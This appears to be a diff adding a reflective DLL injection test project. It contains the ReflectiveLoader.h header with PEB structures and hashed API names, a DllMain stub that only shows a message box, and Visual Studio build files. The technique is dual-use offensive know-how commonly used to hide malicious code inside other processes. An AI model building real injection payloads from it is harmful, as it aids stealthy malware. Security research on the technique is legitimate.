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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
+32
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//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern "C" HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
MessageBoxA( NULL, "Reflective Dll Injection!", "Inject All The Things!", MB_OK );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
+181
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<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{B5709E7C-9A51-4374-92BA-EFB96043B74B}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>rdll</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;RDLL_EXPORTS;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>copy ..\Debug\rdll.dll ..\bin\rdll_32.dll</Command>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
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<Command>copy ..\x64\Debug\rdll.dll ..\bin\rdll_64.dll</Command>
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<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;RDLL_EXPORTS;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<Command>copy ..\Release\rdll.dll ..\bin\rdll_32.dll</Command>
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<Text Include="ReadMe.txt" />
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<ClInclude Include="ReflectiveDLLInjection.h" />
<ClInclude Include="ReflectiveLoader.h" />
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<ClCompile Include="dllmain.cpp">
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+36
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<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
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<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
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<Text Include="ReadMe.txt" />
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<Filter>Header Files</Filter>
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<Filter>Header Files</Filter>
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<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="ReflectiveLoader.c">
<Filter>Source Files</Filter>
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+8
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@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// rdll.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
+16
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@@ -0,0 +1,16 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here
+8
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@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>